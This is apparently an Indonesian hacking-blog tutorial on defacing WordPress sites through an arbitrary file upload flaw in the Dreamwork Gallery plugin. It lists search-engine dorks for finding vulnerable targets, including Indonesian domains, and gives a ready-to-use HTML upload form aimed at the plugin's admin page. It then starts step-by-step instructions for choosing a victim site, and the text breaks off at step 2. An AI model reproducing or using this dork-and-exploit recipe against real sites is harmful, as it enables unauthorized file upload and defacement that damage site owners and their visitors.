Deface CMS WordPress Metode Exploit Dreamwork Gallery

Selamat malam para bokepers, oke kali ini gw mau bahas tehnik deface dengan memanfaatkan bug di Plugin CMS Wordpress, entah kapan tehnik ini ditemukan gw jg kgx ngerti yahh, exploit ini untuk plugin Dreamwork Gallery.

Dork Dreamwork Gallery

Gunakan imajinasi ente untuk dapetin target yang verawan :D

inurl:/wp-content/plugins/wp-dreamworkgallery/
inurl:/wp-dreamworkgallery/ site:.id

Script Uploader

Bisa di download di sini [ PASTEBIN ]

atau bisa copy langsung nih script dibawah ini :D

<html>
<body>
<form action="http://www.site.com/[path]/wp-admin/admin.php?page=dreamwork_manage" method="POST" enctype="multipart/form-data">
<input type="hidden" name="task" value="drm_add_new_album" />
<input type="hidden" name="album_name" value="Arbitrary File Upload" />
<input type="hidden" name="album_desc" value="Arbitrary File Upload" />
<input type="file" name="album_img" value="" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

www.site.com = ganti dengan domain target anda :v
[path] = jika target ada path, jika tidak iya langsung di tusuk jahh :D

Langkah Exploit Dreamwork Gallery

1. Buka browser tercinta anda, copy Dork dan paste di Search Engine ente, akan muncul banyak target yang tampil tuh, bisa di lihat dibawah ini.

Deface CMS WordPress Metode Exploit Dreamwork Gallery

2. Pilih salah satu target, buka di tab baru, kurang lebih seperti dibawah ini, gx usah di pentingin ini mah, yg penting kita ambil URL domainnya aja :D